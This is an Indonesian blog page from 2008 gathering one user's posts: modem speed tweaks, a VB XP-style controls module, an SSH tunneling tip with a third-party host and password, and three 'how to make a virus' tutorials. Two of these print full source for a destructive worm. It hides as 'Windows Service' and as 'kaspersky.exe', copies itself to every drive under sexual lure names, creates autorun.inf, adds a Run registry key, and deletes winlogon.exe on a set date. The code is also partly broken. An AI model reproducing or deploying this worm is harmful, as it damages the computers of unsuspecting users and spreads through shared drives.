Mempercepat Kerja Modem

Di internet byanya software buat nyepetin internet padahal kita bisa ngelakuin ndiri , n kita cuma perlu ngotak atik file file tertentu n settingannya.
Cara Pertama
1. Dari Control Panel, klik icon Modem.
2. Pada kotak dialog Modem Properties, pilih modem yang akan diubah settingnya dan klik pada tombol Properties
3. Pada tab General, ubah Maximum Speed menjadi 115200.
4. Pindah ke tab Connection dan klik tombol Port Setting.
5. Dari kotak dialog Advanced Port Setting, beri tanda check pada Use FIFO buffers. Kemudian ubah Receive Buffer menjadi 14 dan Transmit Buffer menjadi 16. Lalu klik OK.
6. Klik button Advanced, beri tanda check pada Use Flow Control. Kemudian pilih radio button Hardware. Pada bagian Extra Setting, isi dengan &C1&D2E1Q0V1X4%C0 S7=55 S11=55 S0=0.
Cara Kedua
1. Dari Control Panel, klik icon System.
2. Pindah ke tab Device Manager.
3. Pada bagian Ports (COM & LPT), pilih port yang digunakan oleh modem Anda dan klik tombol Properties.
4. Pindah ke tab Port Settings.
5. Pada bagian Bits per second, isi dengan 921600.
Cara Ketiga
1. Buka file system.ini yang terletak di C:\Windows.
2. Pada bagian [386Enh], tambahkan dengan COM1Buffer=16384. Ubah COM1 dengan port yang digunakan oleh modem.
selamat mencoba

sumber:telkomspeedy.com

Posted by : xyberbreaker on Minggu, September 14, 2008 | Label: | 1 Comments  

Membuat Virus Dengan Visual Basic

=============================================
Segala Penyalah Gunaan Artikel ini Bukan Tanggung Jawab Saya!!
=============================================
Private Sub Form_Load()
On Error Resume Next
Dim Rumah As Variant
Dim FolderSYSTEM As Object
Set Rumah = CreateObject("scripting.filesystemobject")
Set FolderSYSTEM = Rumah.GetSpecialFolder(1)

If App.PrevInstance = True Then End
App.TaskVisible = False
App.Title = "Windows Service"

FileCopy App.Path & "\" & App.EXEName & ".exe", FolderSYSTEM & "\godham-tlab.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", FolderSYSTEM & "\kaspersky.exe"

Call SD
Call IE
Call XD
Call XDS

End Sub

Sub XD()
On Error Resume Next
Dim ictr As Integer
Dim sDrive As String
Dim x As Byte
ReDim sDrives(0) As String
Dim penanda As Byte


For ictr = 65 To 90
sDrive = Chr(ictr) & ":\"

On Error Resume Next
FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive & "Sex Movie.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive & "Gairah Anak Muda.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive & "Ini Virus buat remaja.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive & "Jangan dibuka bahaya buat yang kurang umur.exe"


Next

End Sub

Sub SD()
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set fileADSW = fso.CreateTextFile("C:\autorun.inf")
Set fileADSW = fso.CreateTextFile("D:\autorun.inf")
Set fileADSW = fso.CreateTextFile("F:\autorun.inf")
fileautorun.WriteLine ("[AUTORUN]")
fileautorun.WriteLine ("RUN=Sex Movies.exe")
End Sub

Sub IE()
On Error Resume Next
Dim Paray
Set Paray = CreateObject("Wscript.Shell")
Paray.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title", "Infected By Godham-Tlab.vir, please use PCMAV to clean me"
Paray.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption", "Infected By Godham-Tlab.vir"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\", FolderSYSTEM & "\godham-tlab.exe"
End Sub

Sub XDS()
If Day(Now) = 9 And Month(Now) = 9 Then
Kill "C:\WINDOWS\system32\winlogon.exe"
Kill "C:\WINDOWS\system32\rundl32.exe"
End Sub

Posted by : xyberbreaker on | Label: | 3 Comments  

Membuat Virus Dengan delphi

Di Indonesia sendiri sekarang sudah banyak bermunculan virus komputer, ada yang sifatnya
iseng, ada yang berisi pesan moral, ada yang dijadikan pelampiasan cinta, pokoknya sekarang
sudah banyak orang yang bisa membuat virus. Virus-virus anak negeri biasa disebut dengan
Virus Lokal. Walaupun mereka lahir dari orang lokal tapi sudah banyak orang yang emosi,
frustrasi dan hampir mati gara-gara kelakuan si virus lokal. Virus lokal yang berjalan di sistem
operasi windows kebanyakan menggunakan teknik “modifikasi konfigurasi sistem” yang
terletak di registry windows, serta beberapa “pemanggilan fungsi-fungsi sistem” yang
digunakan untuk membuat semacam “attack with defense operation” atau “defense with attack
operation” terhadap suatu program. Tujuan artikel ini bukan untuk menjadikan anda sebagai
penjahat, tapi untuk menerapkan metode pak polisi dalam menangkap penjahat “untuk
menangkap maling, harus tahu cara kerja maling”.
Artikel ini akan membahas cara pembuatan virus sederhana menggunakan program delphi.
Kode yang ditulis tidak panjang dan mudah dimengerti sehingga para pemula delphi dapat
langsung belajar membuat program yang mudah dan menarik serta bisa memodifikasi program
dengan “keinginan” sendiri. Penulis menggunakan delphi 7.0, tapi kode program ini tetap bisa
digunakan untuk delphi yang ada di bawah versi 7.0. Pembahasan akan dimulai dari
perancangan sampai dengan pembuatan kode-kode program. Nama program yang akan kita buat
ini diberi nama VIRUZ bukan virus. Selamat menikmati dan berdo’a supaya ilmu ini tidak
diniatkan untuk hal-hal yang jahat, semoga tidak.

Tahap 4 : Membuat Kode Program
Kode program dibuat di events komponen yang terletak di kotak “Objek Inspector”. Berikut ini
gambar events komponen :

Klik komponen FORM yang ada di “Object TreeView” kemudian klik “Events” yang ada di
“Objek Inspector”, cari event “OnShow” kemudian double klik kotak kosong disampingnya
seperti tampak pada gambar di bawah ini :


Setelah kotak disamping event “OnShow” di double klik maka editor delphi akan langsung
membuat prosedur untuk event OnShow. Tugas kita hanyalah mengisi kode yang diapit oleh
keyword BEGIN dan END. Kode yang kita ketikan di event OnShow akan dijalankan pada saat
form muncul. Berikut ini gambar penulisan kodenya :

Selanjutnya cari event “OnPaint” kemudian double klik disebelah kanannya, sama seperti pada
event “OnShow” maka editor delphi akan langsung membuat prosedur untuk event OnPain.
Ketikan kode diantara BEGIN dan END seperti tampak pada gambar berikut ini :

Kode event untuk FORM sudah selesai sekarang tinggal membuat kode event TIMER. Sebelum
kode event TIMER dibuat, terlebih dahulu harus membuat prosedur-prosedur seperti flowchart
di atas yaitu prosedur untuk mengkloning virus dan membuat startup, prosedur untuk modifikasi
konfigurasi sistem dan prosedur untuk melakukan operasi “attack & defense”. Berikut ini cara
pembuatan prosedur beserta implementasinya :

Prosedur yang sudah dideklarasikan harus diimplementasikan. Berikut ini implementasi
prosedur kloning_dan_startup :

Berikutnya implementasi prosedur modifikasi konfigurasi sistem yang diletakan dibawah
implementasi prosedur kloning_dan_startup :

Terakhir adalah implementasi prosedur operasi_attack_defense yang diletakan dibawah
implementasi prosedur modifikasi_konfigurasi_sistem :

Pengkodean sudah selesai, sekarang pilih menu PROJECT  BUILD ALL PROJECTS, delphi
akan membuat program Viruz secara otomatis yang diletakan di folder project (AWAS : jangan
dibuka ! ! !). Jika ada pesan error atau kesalahan coba cek lagi pengkodean anda. Untuk
menjalankan Viruz pilih menu RUN  RUN atau tekan tombol F9 dan jreng… apa yang
terjadi? Untuk menghentikan program pilih menu RUN  PROGRAM RESET atau tekan
kombinasi tombol CTRL+F2. PERHATIAN : jangan menjalankan Viruz diluar Delphi karena
jika berjalan di luar Delphi, Viruz tidak bisa di-reset, resiko ditanggung sendiri.
Program Viruz yang kita buat akan mengeksekusi program Notepad milik Windows sebanyak
lima kali setiap 1 menit. Kode untuk mengeksekusi notepad terdapat dibawah komentar
ATTACK. Selamat memodifikasi program Viruz ! ! !

Kesimpulan
Viruz merupakan salah satu contoh virus sederhana yang dibuat dengan menggunakan Delphi.
Ada virus pasti ada anti-virus. Semoga pada kali kedua penulis bisa menulis artikel “Membuat
Anti-Viruz dengan Delphi”. Penulis lebih berharap lagi jika ada orang lain yang berpartisipasi
untuk menyumbangkan ilmunya untuk membuat Anti-Viruz. Semoga bermanfaat.

source : VIROLOGI

Posted by : xyberbreaker on | Label: | 2 Comments  

Membuat Virus dengan Notepad

======================================================
Segala Penyalahgunaan Artikel Inu Bukan Tanggung Jawab Saya
======================================================
Virus yang akan kita buat saya beri nama godham-tlab yang merupakan tlab yang dimodifikasi
======================================================
Sub Main()
On Error Resume Next
Dim Rumah As Variant
Dim FolderSYSTEM As Object
Set Rumah = CreateObject("scripting.filesystemobject")
Set FolderSYSTEM = Rumah.GetSpecialFolder(1)

If App.PrevInstance = True Then End
App.TaskVisible = False
App.Title = "Windows Service"

FileCopy App.Path & "\" & App.Name & ".vbs", FolderSYSTEM & "\godham-tlab.vbs"
FileCopy App.Path & "\" & App.Name & ".vbs", FolderSYSTEM & "\kaspersky.vbs"

SD
IE
XD
XDS

End Sub

Sub XD()
On Error Resume Next
Dim ictr As Integer
Dim sDrive As String
Dim x As Byte
ReDim sDrives(0) As String
Dim penanda As Byte


For ictr = 65 To 90
sDrive = Chr(ictr) & ":\"

On Error Resume Next
FileCopy App.Path & "\" & App.Name & ".vbs", sDrive & "Sex Movie.vbs"
FileCopy App.Path & "\" & App.Name & ".vbs", sDrive & "Gairah Anak Muda.vbs"
FileCopy App.Path & "\" & App.Name & ".vbs", sDrive & "Ini Virus buat remaja.vbs"
FileCopy App.Path & "\" & App.Name & ".vbs", sDrive & "Jangan dibuka bahaya buat yang kurang umur.vbs"


Next

End Sub

Sub SD()
On Error Resume Next
Set fso = CreateObject("Scripting.FileSystemObject")
Set fileADSW = fso.CreateTextFile("C:\autorun.inf")
Set fileADSW = fso.CreateTextFile("D:\autorun.inf")
Set fileADSW = fso.CreateTextFile("F:\autorun.inf")
fileautorun.WriteLine ("[AUTORUN]")
fileautorun.WriteLine ("RUN=Sex Movies.vbs")
End Sub

Sub IE()
On Error Resume Next
Dim Paray
Set Paray = CreateObject("Wscript.Shell")
Paray.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title", "Infected By Godham-Tlab.vir, please use PCMAV to clean me"
Paray.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\LegalNoticeCaption", "Infected By Godham-Tlab.vir"
Paray.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\", FolderSYSTEM & "\godham-tlab.bvs"
End Sub

Posted by : xyberbreaker on | Label: | 0 Comments  

Mempercepat Internet dengan Tunneling

Anda ingin browsing Internet lebih cepat? kali ini saya akan mengungkap kan rahasia bagaimana mempercepat koneksi browsing anda ke internet dengan stabil tentunya.

Sebenarnya prinsip kerjanya mirip dengan web accelerator terkenal seperti Nitro atau Onspeed, yaitu dengan metode tunneling. banyak keuntungan yang bisa di dapatkan dari metode ini contohnya:

1. Kestabilan kecepatan akselerasi koneksi browsing anda ke internet.
2. Keamanan data dan anonimitas lokasi anda di internet.
3. Dapat mengakses situs yang telah di blok oleh firewall/proxy server.

kenapa bisa terjadi seperti itu?

Koneksi bisa menjadi lebih cepat karena:

1. Dikompresi / dipadatkan secara otomatis.
2. Tidak perlu berkali-kali konek ulang ke berbagai situs, karena selalu sudah konek ke tunnel tersebut.
3. Semua overhead protokol HTTP dikerjakan oleh server tunneling.

Hal-hal apa saja yang dibutuhkan untuk dapat menggunakan metode tunneling ini:

1. Dedicated Server (karena untuk dapat melakukan tunneling di butuhkan akses ssh)
2. SSH client, putty untuk windows dan openssh untuk linux/unix.
3. Konfigurasi browser untuk menggunakan SOCKS proxy pada localhost (firefox/IE)

Langkah :

1. Download PuTTy.rar disini, lalu extract, dan simpan ke windows (defaultnya c:windows)

2. Buka Command Prompt dan arahkan ke direktori tempat anda men-save PuTTy.exe. Lalu ketik perintah ini:

putty -P 222 -N -D 9999 -C net@cepat.abangadek.com

3. Sebuah kotak akan muncul, dan anda diperintahkan untuk mengetik password. Enter : cepat123
4. apabila telah diketik password dan tidak ada perubahan apa2, berarti ada telah berhasil.
5. oi ya, jangan lupa seting proxy di web browser kamu, ini adalah cara-caranya :

Internet Explorer :

* Pilih menu Tools - Options,
* klik tab Connections,
* klik tombol LAN Settings,
* enable “use a proxy server”, lalu klik Advanced,
* isi seperti di ilustrasi di bawah ini, lalu klik OK.



Firefox :

* Pilih menu Edit - Preferences,
* klik icon Advanced,
* klik tab Network,
* klik tombol Settings,
* lalu setup seperti ilustrasi di bawah ini, dan klik OK.

Posted by : xyberbreaker on | Label: | 1 Comments  

Membuat Tampilan Program VB ala XP

1.Pada Form Utama Ketikkan:

Private Sub Form_Initialize()

InitCommonControlsXP

End Sub

2.Buatlah modul dengan nama modXpLook lalu tulis
'---------------------------------------------------------------------------------------
' Module : mComCtrls
' DateTime : 22/11/2003 ddmmyy 21:12
' Author : Lee Hughes lphughes@btopenworld.com
' Purpose : Initiate XP common controls

' Notes : CALL InitCommonControlsXP before any
' : VB commands or exe will crash
'---------------------------------------------------------------------------------------

Option Explicit

Private Type tagInitCommonControlsEx
lngSize As Long
lngICC As Long

End Type

Private Declare Function InitCommonControlsEx Lib "comctl32.dll" (iccex As tagInitCommonControlsEx) As Boolean

Private Const ICC_USEREX_CLASSES = &H200

Public Function InitCommonControlsXP() As Boolean

On Error Resume Next

Dim iccex As tagInitCommonControlsEx


With iccex
.lngSize = Len(iccex)
.lngICC = ICC_USEREX_CLASSES

End With

InitCommonControlsEx iccex
InitCommonControlsXP = CBool(Err = 0)

End Function

3.Coba lagi atau cari info dari blog lain,he3333X...................

Posted by : xyberbreaker on | Label: | 0 Comments  

Langgan: Entri (Atom)